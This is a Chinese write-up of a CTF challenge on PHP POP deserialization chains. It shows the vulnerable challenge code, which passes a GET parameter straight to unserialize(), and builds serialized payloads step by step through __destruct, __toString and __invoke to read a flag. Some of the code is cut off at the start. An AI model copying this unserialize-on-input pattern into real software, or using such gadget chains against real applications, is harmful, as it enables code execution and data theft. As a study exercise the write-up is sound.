0.题目

最近做了一道pop反序列化链的题目,题目代码如下:

' . $this->test;
	}
}
class b {
	public $test1;
	public function __toString() {
		echo 'you success get class b
';
		$function = $this ->test1;
		//var_dump($function);
		return $function();
	}
}
class c {
	public function __invoke() {
		include('./flag.php');
		return $flag;
	}
}
if (isset($_GET['net'])) {
	unserialize($_GET['net']);
	}
?>

先根据代码进行简单的分析,要拿到flag则需要通过类c的__invoke魔术方法。要触发该魔术方法则需要将类c当作方法调用,此时可以看到类b中有该操作。那么则需要拿下类b并将c类赋值给test1,此时可以看到b中有一个__toString魔术方法,则需要将其当作字符串调用,此时类a中的__destruct方法中的echo可以达到该操作。因此需要构建类a将类b作为变量test传进去。最后实例化类a等到自动销毁执行__destruct方法。

1.先实例化类a,拿下类a

Payload:O:1:"a":1:{s:4:"test";N;}

2.把类b的实例赋值给类a的test

,利用类a的输出来触发类b的toString方法,拿下类b。Payload:O:1:"a":1:{s:4:"test";O:1:"b":1:{s:5:"test1";N;}}

3.把类c赋值给b的test1取得flag

Flag:{b0by_baby_p0ppop!!!!!}。

Payload:O:1:"a":1:{s:4:"test";O:1:"b":1:{s:5:"test1";O:1:"c":0:{}}}

最后附上序列化的php代码

' . $this->test;
	}
}
class b {
	public $test1;
	public function __toString() {
		echo 'you success get class b
';
		$function = $this ->test1;
		return $function();
	}
}
class c {
	public function __invoke() {
		return $flag;
	}
}

$one = new a();
$two = new b();
$three = new c();
$one->test = $two;
$two->test1 = $three; 
echo serialize($one);
?>